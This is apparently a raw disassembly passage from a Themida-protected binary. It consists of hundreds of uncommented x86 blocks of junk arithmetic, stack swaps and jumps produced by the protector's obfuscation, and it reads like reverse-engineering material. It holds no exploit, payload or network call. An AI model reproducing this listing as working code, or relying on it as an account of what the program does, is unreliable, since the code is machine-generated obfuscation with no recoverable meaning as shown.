sub esi, 372562Ch
add esi, edx
add esi, 372562Ch
pop edx
jmp loc_5638F5
; ---------------------------------------------------------------------------
loc_566398: ; CODE XREF: Themida_:00569B04j
mov edx, [esp]
jmp loc_567BED
; ---------------------------------------------------------------------------
loc_5663A0: ; CODE XREF: Themida_:0055DD65j
pop edx
xor edx, 3DC45BEEh
add edx, 0DC160155h
mov edi, edx
pop edx
xor esi, edi
pop edi
xor edx, esi
mov esi, [esp]
add esp, 4
jmp loc_56440B
; ---------------------------------------------------------------------------
loc_5663C0: ; CODE XREF: Themida_:0056A129j
pop ecx
add ecx, 72D76FE3h
pop ebp
push ebx
mov ebx, 12C01612h
neg ebx
jmp loc_5612EE
; ---------------------------------------------------------------------------
loc_5663D5: ; CODE XREF: Themida_:005682D1j
or ebx, 29C5018Fh
jmp loc_56975F
; ---------------------------------------------------------------------------
loc_5663E0: ; CODE XREF: Themida_:0056ABE5j
sub ecx, 4
xchg ecx, [esp]
pop esp
push 743Eh
mov [esp], esp
jmp loc_564D4C
; ---------------------------------------------------------------------------
loc_5663F4: ; CODE XREF: Themida_:005680FBj
mov edx, esp
push 2956h
mov [esp], ebx
mov ebx, 4
add edx, ebx
pop ebx
add edx, 4
xchg edx, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_56F2C4
; ---------------------------------------------------------------------------
loc_56641E: ; CODE XREF: Themida_:00567DE9j
sub esp, 4
mov [esp], eax
mov eax, 224622Fh
add eax, 6FB138B9h
or eax, 120D550Fh
neg eax
xor eax, 8C222015h
add edi, eax
mov eax, [esp]
add esp, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_55FE8E
; ---------------------------------------------------------------------------
loc_566453: ; CODE XREF: Themida_:00561B4Bj
add esp, 4
jmp loc_56C77F
; ---------------------------------------------------------------------------
loc_56645B: ; CODE XREF: Themida_:00565F1Bj
pop ebp
mov edi, ebx
mov ebx, [esp]
add esp, 4
add ebx, edi
pop edi
jmp loc_55D621
; ---------------------------------------------------------------------------
loc_56646C: ; CODE XREF: Themida_:0057171Aj
mov eax, 4
jmp loc_564C09
; ---------------------------------------------------------------------------
loc_566476: ; CODE XREF: Themida_:0056E87Aj
not dword ptr [esp]
pop ebp
add ebp, 6138532Bh
add eax, 12485B84h
add eax, ebp
jmp loc_56CFEC
; ---------------------------------------------------------------------------
loc_56648C: ; CODE XREF: Themida_:00568B80j
mov edi, 1Ch
jmp loc_56EDAF
; ---------------------------------------------------------------------------
loc_566496: ; CODE XREF: Themida_:00566EC7j
xchg ecx, [esp]
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56649F: ; CODE XREF: Themida_:0055D3EEj
pop ebp
xor esi, 5F18700Ah
add esi, 0F7CBE5FAh
add edi, esi
pop esi
sub edi, 66CA74BEh
jmp loc_56C952
; ---------------------------------------------------------------------------
loc_5664BA: ; CODE XREF: Themida_:00571563j
pop ebx
add eax, ebx
pop ebx
xchg eax, [esp]
jmp loc_56E308
; ---------------------------------------------------------------------------
loc_5664C6: ; CODE XREF: Themida_:0056D387j
mov ebx, edx
pop edx
xor ebx, 6E1741A0h
push 2E38h
mov [esp], edi
push eax
push ebp
mov ebp, 31F56A2Dh
mov eax, ebp
pop ebp
mov edi, eax
jmp loc_565A69
; ---------------------------------------------------------------------------
loc_5664E8: ; CODE XREF: Themida_:0056214Aj
xor edi, 59F610D3h
shr edi, 4
add edi, 0F20A554Bh
add ebx, edi
pop edi
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55E865
; ---------------------------------------------------------------------------
loc_566509: ; CODE XREF: Themida_:005678D2j
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 22E8h
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_569D88
; ---------------------------------------------------------------------------
loc_56653F: ; CODE XREF: Themida_:0056F25Fj
add esp, 4
jmp loc_56ABF9
; ---------------------------------------------------------------------------
loc_566547: ; CODE XREF: Themida_:0055F397j
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
rol word ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566560: ; CODE XREF: Themida_:00564A15j
xchg edx, [esp]
mov esp, [esp]
xchg edx, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566575: ; CODE XREF: Themida_:0056E2E5j
or edx, 1AEA55F3h
sub esp, 4
mov [esp], esi
mov esi, 7B100B49h
jmp loc_566FB8
; ---------------------------------------------------------------------------
loc_56658E: ; CODE XREF: Themida_:0056B371j
add ebp, 4
jmp loc_55E6FF
; ---------------------------------------------------------------------------
loc_566599: ; CODE XREF: Themida_:005698C1j
shr ecx, 2
jmp loc_55FE52
; ---------------------------------------------------------------------------
loc_5665A1: ; CODE XREF: Themida_:0056707Ej
pop esi
push ebp
mov ebp, 5541796Eh
jmp loc_560C86
; ---------------------------------------------------------------------------
loc_5665AD: ; CODE XREF: Themida_:0055D4ABj
mov [esp], ebx
push 72EE39FAh
pop ebx
shl ebx, 7
dec ebx
neg ebx
jmp loc_569071
; ---------------------------------------------------------------------------
loc_5665C1: ; CODE XREF: Themida_:00566D02j
mov eax, 34DE0B98h
shl eax, 7
and eax, 58E2527Ah
xor eax, 7C2175Bh
add ebx, eax
pop eax
push ecx
push edx
mov edx, 75B55A68h
and edx, 7DA85183h
add edx, 0FDD9F263h
mov ecx, edx
pop edx
sub ebx, ecx
pop ecx
jmp loc_563D6E
; ---------------------------------------------------------------------------
loc_5665F4: ; CODE XREF: Themida_:0055F22Ej
mov [esp], esi
mov esi, 57CC7A92h
jmp loc_5639BF
; ---------------------------------------------------------------------------
loc_566601: ; CODE XREF: Themida_:00569E3Cj
sub edx, 0EDA7FD46h
add ebx, 3817556h
sub ebx, 54AC636Eh
jmp loc_56565B
; ---------------------------------------------------------------------------
loc_566618: ; CODE XREF: Themida_:00563FAEj
add eax, ebp
jmp loc_564523
; ---------------------------------------------------------------------------
loc_56661F: ; CODE XREF: Themida_:0056B1EFj
pop edx
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 24h
add esi, 741045EFh
add esi, ecx
push eax
mov eax, 741045EFh
push eax
mov eax, 607B568Ch
sub esi, eax
pop eax
push 5581h
mov [esp], ebx
jmp loc_55FA8A
; ---------------------------------------------------------------------------
loc_566650: ; CODE XREF: Themida_:005668CCj
add al, 6Bh
add al, bl
sub al, 6Bh
jmp loc_56E4BD
; ---------------------------------------------------------------------------
loc_56665B: ; CODE XREF: Themida_:00564400j
push dword ptr [esp]
mov ebx, [esp]
push 7BF5h
jmp loc_560481
; ---------------------------------------------------------------------------
loc_56666B: ; CODE XREF: Themida_:0056075Aj
xchg edx, [esp]
mov esp, [esp]
push eax
mov eax, 4
sub edx, 7D42425Ch
add edx, eax
add edx, 7D42425Ch
mov eax, [esp]
push 40F3h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_56C590
; ---------------------------------------------------------------------------
loc_5666A6: ; CODE XREF: Themida_:00563607j
xor [esp+4], edx
pop edx
push dword ptr [esp]
jmp loc_563808
; ---------------------------------------------------------------------------
loc_5666B3: ; CODE XREF: Themida_:0056C6D9j
push edx
mov edx, 6DF90960h
shr edx, 6
shl edx, 8
or edx, 4FFA52BAh
sub edx, 0F0D43C77h
add esi, edx
pop edx
xor esi, 5BDE18A2h
inc esi
xor esi, 2B515BB0h
dec esi
push 36DEh
mov [esp], ebp
jmp loc_55FC29
; ---------------------------------------------------------------------------
loc_5666E9: ; CODE XREF: Themida_:0056AF77j
sub bl, ah
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 3E971D2h
jmp loc_56DF8B
; ---------------------------------------------------------------------------
loc_566703: ; CODE XREF: Themida_:00560CB9j
add ebp, 78697F01h
dec ebp
add ebp, 73635F8Fh
xor ebp, 27598164h
sub eax, 77B56F79h
add eax, ebp
jmp loc_56AA01
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
mov ebx, esp
push ecx
push ebx
mov ebx, 5AAA3C9Ch
jmp loc_55D806
; ---------------------------------------------------------------------------
loc_566735: ; CODE XREF: Themida_:0056CCB8j
push ecx
push edx
mov edx, 7E8F31C2h
push edx
pop ecx
pop edx
xor edx, ecx
pop ecx
jmp loc_570CE4
; ---------------------------------------------------------------------------
loc_566747: ; CODE XREF: Themida_:00563197j
mov [esp], edx
mov edx, 1FC22130h
neg edx
dec edx
inc edx
jmp loc_56F575
; ---------------------------------------------------------------------------
loc_566758: ; CODE XREF: Themida_:005711FFj
add ecx, 75023084h
add ecx, ebx
sub ecx, 75023084h
mov ebx, [esp]
push ebx
jmp loc_55E2BF
; ---------------------------------------------------------------------------
loc_56676F: ; CODE XREF: Themida_:00569AFDj
push ebx
push esp
jmp loc_571BA0
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56677E: ; CODE XREF: Themida_:00567185j
shl eax, 6
or eax, 54A4260Eh
and eax, 341D0972h
shl eax, 2
and eax, 6970544Bh
add eax, 15225916h
mov edi, eax
mov eax, [esp]
add esp, 4
mov esi, edi
jmp loc_56CA56
; ---------------------------------------------------------------------------
loc_5667A7: ; CODE XREF: Themida_:0056C9EBj
mov eax, [esp]
add esp, 4
mov edx, eax
pop eax
pop ebp
mov eax, edx
push dword ptr [esp]
jmp loc_561F44
; ---------------------------------------------------------------------------
loc_5667BB: ; CODE XREF: Themida_:00560904j
add esp, 4
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
jmp loc_56EA65
; ---------------------------------------------------------------------------
loc_5667CD: ; CODE XREF: Themida_:00566F54j
mov dh, 0Eh
sub dh, 0E8h
sub al, 0B7h
sub al, dh
push bx
push 7844h
mov [esp], edx
mov dh, 0B7h
mov bl, dh
mov edx, [esp]
add esp, 4
push dx
push ecx
mov cl, 57h
sub cl, 0FCh
jmp loc_56FC53
; ---------------------------------------------------------------------------
loc_5667FA: ; CODE XREF: Themida_:005602C5j
and ecx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_567DC3
; ---------------------------------------------------------------------------
loc_566808: ; CODE XREF: Themida_:0056BE44j
push ebp
jmp loc_5682AF
; ---------------------------------------------------------------------------
loc_56680E: ; CODE XREF: Themida_:00564F80j
pop edi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_566F1A
; ---------------------------------------------------------------------------
loc_566826: ; CODE XREF: Themida_:00571F50j
add ebx, 3CA826DAh
jmp loc_56FCD0
; ---------------------------------------------------------------------------
loc_566831: ; CODE XREF: Themida_:00568D34j
mov [esp], ebp
jmp loc_564FE6
; ---------------------------------------------------------------------------
loc_566839: ; CODE XREF: Themida_:0056BFC4j
sub edx, edi
sub edx, 41AF1363h
pop edi
xchg edx, [esp]
pop esp
jmp loc_5647E7
; ---------------------------------------------------------------------------
loc_56684B: ; CODE XREF: Themida_:005727C0j
pop edx
xchg ebp, [esp]
pop esp
jmp loc_56F465
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_5637AB
; ---------------------------------------------------------------------------
loc_566864: ; CODE XREF: Themida_:0056C65Bj
xor ebx, 462A3686h
not ebx
xor ebx, 758D3FDFh
sub ebx, 0D569AE9Ah
push ebx
xor dword ptr [esp], 4AD17924h
pop edi
xor edi, 4AD17924h
pop ebx
jmp loc_571276
; ---------------------------------------------------------------------------
loc_56688D: ; CODE XREF: Themida_:0056689Dj
mov cl, 0ACh
jmp loc_56550E
; ---------------------------------------------------------------------------
loc_566894: ; CODE XREF: Themida_:0055EE44j
add bh, 0A4h
sub bh, cl
sub bh, 0A4h
push ecx
jmp loc_56688D
; ---------------------------------------------------------------------------
loc_5668A2: ; CODE XREF: Themida_:0055D5CFj
push 4547h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push eax
push ebp
jmp loc_572445
; ---------------------------------------------------------------------------
loc_5668B9: ; CODE XREF: Themida_:005637D0j
push edx
mov edx, esp
jmp loc_56EC49
; ---------------------------------------------------------------------------
loc_5668C1: ; CODE XREF: Themida_:00561342j
sub bl, ah
mov eax, [esp]
add esp, 4
jmp loc_566650
; ---------------------------------------------------------------------------
loc_5668D1: ; CODE XREF: Themida_:0056E15Aj
add eax, ecx
pop ecx
push 2770h
jmp loc_55E0E9
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
push esp
pop edx
push ebp
push edi
jmp loc_56B376
; ---------------------------------------------------------------------------
loc_5668F4: ; CODE XREF: Themida_:0056C090j
sub ch, 0ADh
shr ch, 8
xor ch, 32h
mov bl, ch
pop ecx
xor bl, 0F9h
push eax
jmp loc_5628FC
; ---------------------------------------------------------------------------
loc_566909: ; CODE XREF: Themida_:0056E674j
shr edx, 4
add edx, 574738B5h
sub edx, 70E661CFh
dec edx
jmp loc_55E1E3
; ---------------------------------------------------------------------------
loc_56691E: ; CODE XREF: Themida_:00571072j
xor ecx, 0F54B72D4h
jmp loc_55EC1A
; ---------------------------------------------------------------------------
loc_566929: ; CODE XREF: Themida_:00569EBAj
pop eax
jmp loc_55D534
; ---------------------------------------------------------------------------
loc_56692F: ; CODE XREF: Themida_:005649EBj
mov ebx, 64CC233Eh
jmp loc_571930
; ---------------------------------------------------------------------------
loc_566939: ; CODE XREF: Themida_:00567B42j
sub ebp, 589E0E60h
shl ebp, 5
sub ebp, 0A9A5A34Ah
sub eax, ebp
pop ebp
push 4C4Bh
mov [esp], esi
push ebx
push 3B5E04AAh
pop ebx
dec ebx
jmp loc_56F96C
; ---------------------------------------------------------------------------
loc_566960: ; CODE XREF: Themida_:00567DD3j
mov [esp], edi
push ebx
jmp loc_5609A8
; ---------------------------------------------------------------------------
loc_566969: ; CODE XREF: Themida_:0055E7EEj
xchg edi, [esp]
pop esp
sub [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566977: ; CODE XREF: Themida_:0056F3F9j
pop edx
jmp loc_56EA96
; ---------------------------------------------------------------------------
loc_56697D: ; CODE XREF: Themida_:00567ED3j
mov ch, 3Eh
sub ch, ah
mov eax, [esp]
push edx
jmp loc_56A45A
; ---------------------------------------------------------------------------
loc_56698A: ; CODE XREF: Themida_:00571A1Aj
inc ecx
and ecx, 6C4E2738h
add ecx, 0C07135F2h
sub ebp, 36B259FBh
add ebp, ecx
push ebx
mov ebx, 5F6F0844h
shr ebx, 5
jmp loc_568431
; ---------------------------------------------------------------------------
loc_5669AD: ; CODE XREF: Themida_:005713EFj
push 0FFFFFFFFh
jmp loc_5719C7
; ---------------------------------------------------------------------------
loc_5669B7: ; CODE XREF: Themida_:00565ACBj
neg edi
jmp loc_56F8A6
; ---------------------------------------------------------------------------
loc_5669BE: ; CODE XREF: Themida_:0056FA45j
push edx
mov edx, 26586A87h
jmp loc_56EE04
; ---------------------------------------------------------------------------
loc_5669C9: ; CODE XREF: Themida_:00560CCFj
push edi
mov edi, 1B78FAD6h
mov ebx, edi
jmp loc_571B41
; ---------------------------------------------------------------------------
loc_5669D6: ; CODE XREF: Themida_:005670D3j
push esi
jmp loc_564D9C
; ---------------------------------------------------------------------------
loc_5669DC: ; CODE XREF: Themida_:00565291j
pop edi
add eax, 4C6D6055h
sub esp, 4
mov [esp], ebx
mov ebx, 41334503h
sub eax, 5E5672BEh
push edx
mov edx, 76F011E5h
sub eax, edx
pop edx
sub eax, ebx
add eax, 76F011E5h
jmp loc_5660CB
; ---------------------------------------------------------------------------
loc_566A0A: ; CODE XREF: Themida_:0055DB35j
mov eax, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_563E56
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 3FDAh
mov [esp], ebp
mov ebp, 14A55EA5h
add eax, 23582384h
push esi
jmp loc_56EED4
; ---------------------------------------------------------------------------
loc_566A36: ; CODE XREF: Themida_:00561E89j
add eax, 0B9700F3Eh
push eax
push 5E125Bh
mov eax, [esp]
add esp, 4
sub edx, eax
jmp loc_56BD8B
; ---------------------------------------------------------------------------
loc_566A4E: ; CODE XREF: Themida_:0056AA83j
sub cl, 12h
mov al, cl
pop ecx
dec al
shl al, 6
push dx
mov dl, 5Ah
sub al, dl
pop dx
not al
push edx
mov dl, 54h
add dl, 69h
shr dl, 8
jmp loc_569B4F
; ---------------------------------------------------------------------------
loc_566A71: ; CODE XREF: Themida_:00561FA5j
sub edi, 0CC9FF6C3h
sub eax, edi
pop edi
pop ecx
xor eax, [esp]
xor [esp], eax
jmp loc_56FA93
; ---------------------------------------------------------------------------
loc_566A86: ; CODE XREF: Themida_:0055E988j
pop edi
jmp loc_56B3B1
; ---------------------------------------------------------------------------
loc_566A8C: ; CODE XREF: Themida_:0056F282j
movsx ecx, ax
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_569D6F
; ---------------------------------------------------------------------------
loc_566AAA: ; CODE XREF: Themida_:0056EA91j
sub esi, 4
jmp loc_569A8F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 464Eh
mov [esp], edx
sub esp, 4
mov [esp], esp
push ecx
jmp loc_56BAFD
; ---------------------------------------------------------------------------
loc_566ACD: ; CODE XREF: Themida_:0056C5D7j
shl dl, 6
push ebx
jmp loc_567513
; ---------------------------------------------------------------------------
loc_566AD6: ; CODE XREF: Themida_:005673BEj
push 7E83h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56B400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_566AEA: ; CODE XREF: sub_59DB3D-2CE3Cj
push eax
jmp loc_5613D2
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_566AF0: ; CODE XREF: Themida_:005718C7j
mov eax, esp
jmp loc_56BDF4
; ---------------------------------------------------------------------------
loc_566AF7: ; CODE XREF: Themida_:0056DF30j
pop esi
xor ebp, edi
push dword ptr [esp]
jmp loc_56CF90
; ---------------------------------------------------------------------------
loc_566B02: ; CODE XREF: Themida_:0055E28Ej
push ecx
mov ecx, 2C3D4292h
shl ecx, 2
or ecx, 1BDF5A1Eh
sub ecx, 7B2264B6h
jmp loc_5607C0
; ---------------------------------------------------------------------------
loc_566B1C: ; CODE XREF: Themida_:0056CBE1j
push esp
push dword ptr [esp]
pop ebx
jmp loc_568E2E
; ---------------------------------------------------------------------------
loc_566B26: ; CODE XREF: Themida_:0056534Fj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566B2B: ; CODE XREF: Themida_:0056A567j
mov bl, ah
mov eax, [esp]
add esp, 4
push edx
push eax
mov al, bl
mov dl, al
pop eax
mov ah, dl
pop edx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
mov bh, ah
pop eax
jmp loc_570A2C
; ---------------------------------------------------------------------------
loc_566B51: ; CODE XREF: Themida_:0056D47Dj
pop ebx
add edi, 4
sub esp, 4
mov [esp], edi
jmp loc_56EF27
; ---------------------------------------------------------------------------
loc_566B66: ; CODE XREF: Themida_:00568B29j
mov ecx, 6E852CC4h
mov edi, ecx
pop ecx
mov eax, edi
pop edi
xor ebp, eax
jmp loc_563DC3
; ---------------------------------------------------------------------------
loc_566B78: ; CODE XREF: Themida_:0056064Fj
push ebp
inc dword ptr [esp]
mov ebp, [esp]
push ebx
jmp loc_56513F
; ---------------------------------------------------------------------------
loc_566B85: ; CODE XREF: Themida_:005610BDj
mov [esp], edi
mov edi, 6DAA1315h
sub eax, edi
pop edi
push esi
push 110130AFh
pop esi
jmp loc_55E293
; ---------------------------------------------------------------------------
loc_566B9C: ; CODE XREF: Themida_:0056172Dj
pop edi
push edx
mov edx, 141B8E6Ah
add edi, 4D650F2h
add edi, 7D906123h
sub edi, edx
sub edi, 7D906123h
sub edi, 4D650F2h
pop edx
push edi
xor dword ptr [esp], 508E6F67h
pop edx
jmp loc_56D41A
; ---------------------------------------------------------------------------
loc_566BCC: ; CODE XREF: Themida_:00570147j
xor ecx, ebx
pop ebx
sub ecx, 0FFFFFFFFh
jmp loc_56B18E
; ---------------------------------------------------------------------------
loc_566BD7: ; CODE XREF: Themida_:005684F1j
sub edx, 60E160A4h
add edx, ebx
add edx, 60E160A4h
mov ebx, [esp]
add esp, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
add al, 49h
add al, bh
jmp loc_55D7F6
; ---------------------------------------------------------------------------
loc_566C03: ; CODE XREF: Themida_:00564C11j
mov eax, [esp]
add esp, 4
add ebx, 383E0CAFh
add ebx, eax
push edi
jmp loc_56F165
; ---------------------------------------------------------------------------
loc_566C17: ; CODE XREF: Themida_:0055D75Bj
pop ebp
jmp loc_565346
; ---------------------------------------------------------------------------
loc_566C1D: ; CODE XREF: Themida_:0055E13Fj
sub bl, cl
sub bl, 85h
jmp loc_5626D6
; ---------------------------------------------------------------------------
loc_566C27: ; CODE XREF: Themida_:00564874j
mov edx, 4
sub ebx, edx
jmp loc_56B08C
; ---------------------------------------------------------------------------
loc_566C33: ; CODE XREF: Themida_:00560B8Cj
push dword ptr [esp]
pop esi
sub esp, 4
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
jmp loc_562C38
; ---------------------------------------------------------------------------
loc_566C4D: ; CODE XREF: Themida_:0055F10Cj
mov edi, 20912A2h
xor edi, 4BC83FB8h
and edi, 607E1B64h
jmp loc_56973D
; ---------------------------------------------------------------------------
loc_566C63: ; CODE XREF: Themida_:0057140Aj
xchg esi, [esp]
mov esp, [esp]
mov [esp], bx
mov bx, 39AEh
jmp loc_561299
; ---------------------------------------------------------------------------
loc_566C76: ; CODE XREF: Themida_:00572716j
add edi, 10D16526h
pop ebp
movzx eax, al
jmp loc_55FA42
; ---------------------------------------------------------------------------
loc_566C85: ; CODE XREF: Themida_:0056C1F5j
push ecx
xchg edx, [esp]
not edx
xchg edx, [esp]
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub ecx, 1
not ecx
add ecx, 6470713Ch
jmp loc_56DB15
; ---------------------------------------------------------------------------
loc_566CB5: ; CODE XREF: Themida_:005642AAj
xor eax, [esp]
mov esp, [esp]
add ebx, 4F25E78h
push ebp
jmp loc_56FBB3
; ---------------------------------------------------------------------------
loc_566CC7: ; CODE XREF: Themida_:005700CEj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566CCC: ; CODE XREF: Themida_:00565EF0j
push eax
mov eax, 6F681F11h
sub ebx, eax
pop eax
pop edi
or ebx, 43DF15DCh
sub ebx, 14570F3Ch
jmp loc_568C45
; ---------------------------------------------------------------------------
loc_566CE7: ; CODE XREF: Themida_:0056FA00j
pop edx
push small 7D5Eh
jmp loc_568CDB
; ---------------------------------------------------------------------------
loc_566CF1: ; CODE XREF: Themida_:00569DB8j
mov esp, [esp]
add esp, 4
jmp loc_5722E7
; ---------------------------------------------------------------------------
loc_566CFC: ; CODE XREF: Themida_:0056A608j
sub esp, 4
mov [esp], eax
jmp loc_5665C1
; ---------------------------------------------------------------------------
loc_566D07: ; CODE XREF: Themida_:0055E147j
xor ecx, [esp]
jmp loc_564D90
; ---------------------------------------------------------------------------
loc_566D0F: ; CODE XREF: Themida_:0055FF55j
mov eax, 19C9028Ah
add eax, 4F4408BDh
sub edx, eax
mov eax, [esp]
add esp, 4
add edx, 4D243466h
jmp loc_572AAA
; ---------------------------------------------------------------------------
loc_566D2F: ; CODE XREF: Themida_:00567A63j
push 2314h
mov [esp], ebx
mov ebx, 78DC78E9h
or ecx, ebx
pop ebx
sub ecx, 5416278Ch
add esi, ecx
pop ecx
push edi
jmp loc_57257A
; ---------------------------------------------------------------------------
loc_566D4E: ; CODE XREF: Themida_:0056E792j
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
sub esp, 4
jmp loc_570DF4
; ---------------------------------------------------------------------------
loc_566D6E: ; CODE XREF: Themida_:00560E5Ej
add esp, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
xor [esp], ecx
jmp loc_55E05B
; ---------------------------------------------------------------------------
loc_566D9B: ; CODE XREF: Themida_:0056AC7Fj
mov edx, 62023D5Eh
jmp loc_56CFD5
; ---------------------------------------------------------------------------
loc_566DA5: ; CODE XREF: Themida_:00570BE0j
push ebp
mov ebp, 681A3751h
jmp loc_56BED1
; ---------------------------------------------------------------------------
loc_566DB0: ; CODE XREF: Themida_:0057146Ej
push eax
push 58D449FAh
pop eax
not eax
shr eax, 7
inc eax
xor eax, 2B9A5CBAh
xor eax, 56E43256h
push ecx
mov ecx, 6935515Eh
sub ebx, ecx
jmp loc_56AE86
; ---------------------------------------------------------------------------
loc_566DD4: ; CODE XREF: Themida_:0055F6A2j
pop ecx
pop cx
sub bl, 0ECh
movzx eax, al
mov dx, [esp]
jmp loc_562F0A
; ---------------------------------------------------------------------------
loc_566DE6: ; CODE XREF: Themida_:00564898j
push edx
jmp loc_56D43D
; ---------------------------------------------------------------------------
loc_566DEC: ; CODE XREF: Themida_:0056A9B9j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_565BE3
; ---------------------------------------------------------------------------
loc_566DFE: ; CODE XREF: Themida_:0055E962j
mov bh, 0FAh
mov dh, bh
pop ebx
jmp loc_57040C
; ---------------------------------------------------------------------------
loc_566E08: ; CODE XREF: Themida_:005689CFj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
sub eax, 4
jmp loc_5691D7
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push 7FF5h
jmp loc_565B66
; ---------------------------------------------------------------------------
loc_566E41: ; CODE XREF: Themida_:0056E7CDj
xor ecx, 0F6ACBA20h
jmp loc_5721ED
; ---------------------------------------------------------------------------
loc_566E4C: ; CODE XREF: Themida_:00567A39j
dec ebp
jmp loc_561F7A
; ---------------------------------------------------------------------------
loc_566E52: ; CODE XREF: Themida_:00560312j
mov bh, 0E7h
add bh, 7
not bh
shl bh, 8
not bh
xor bh, 9Bh
mov dl, 0A3h
add dl, 0F5h
sub dl, bh
sub dl, 0F5h
mov ebx, [esp]
add esp, 4
add al, 27h
sub al, dl
sub al, 27h
pop dx
push eax
push esp
pop eax
push ecx
mov ecx, 4
add eax, ecx
pop ecx
push edx
push 4
pop edx
jmp loc_567E3A
; ---------------------------------------------------------------------------
loc_566E91: ; CODE XREF: Themida_:0056C662j
push 7794746Ch
pop eax
shr eax, 7
add eax, 0FF10D71Ch
mov ebx, eax
pop eax
add edi, ebx
jmp loc_5626BB
; ---------------------------------------------------------------------------
loc_566EA9: ; CODE XREF: Themida_:005661D3j
mov [esp], edi
push edx
mov edx, 56302FFCh
jmp loc_56B6D6
; ---------------------------------------------------------------------------
loc_566EB7: ; CODE XREF: Themida_:00568972j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_566496
; ---------------------------------------------------------------------------
loc_566ECC: ; CODE XREF: Themida_:0056318Cj
sub ebp, ecx
jmp loc_56F43A
; ---------------------------------------------------------------------------
loc_566ED3: ; CODE XREF: Themida_:0056DD3Aj
add edi, 4
xchg edi, [esp]
pop esp
not esi
push edi
mov edi, 686221DFh
jmp loc_565BBC
; ---------------------------------------------------------------------------
loc_566EEA: ; CODE XREF: Themida_:0056B8C0j
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
xor edi, [esp]
xor [esp], edi
jmp loc_55DBD9
; ---------------------------------------------------------------------------
loc_566F07: ; CODE XREF: Themida_:005634DDj
sub dword ptr [esp], 49990C05h
pop esi
add esi, 49990C05h
jmp loc_571E26
; ---------------------------------------------------------------------------
loc_566F1A: ; CODE XREF: Themida_:00566821j
pop esp
push dword ptr [esp]
mov edi, [esp]
jmp loc_567051
; ---------------------------------------------------------------------------
loc_566F26: ; CODE XREF: Themida_:00564F30j
add esp, 4
sub esp, 4
mov [esp], edx
push esp
jmp loc_56C9CF
; ---------------------------------------------------------------------------
loc_566F38: ; CODE XREF: Themida_:0056CB2Cj
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_5667CD
; ---------------------------------------------------------------------------
loc_566F59: ; CODE XREF: Themida_:005649FEj
push ecx
mov ecx, 44B47F0Eh
xor ecx, 60233C67h
or ecx, 5CEF6E98h
shr ecx, 1
sub ecx, 65506A66h
shr ecx, 3
xor ecx, 1B25E9B6h
jmp loc_569B92
; ---------------------------------------------------------------------------
loc_566F81: ; CODE XREF: Themida_:00571CF3j
add edx, 3182578Dh
mov eax, [esp]
add esp, 4
add edx, 1
or edx, 25E12EFCh
or edx, 7EB7607Ah
add edx, 14D56813h
push esi
mov esi, 5E701746h
jmp loc_563A5A
; ---------------------------------------------------------------------------
loc_566FB3: ; CODE XREF: Themida_:005695B6j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566FB8: ; CODE XREF: Themida_:00566589j
xor edx, esi
pop esi
jmp loc_563754
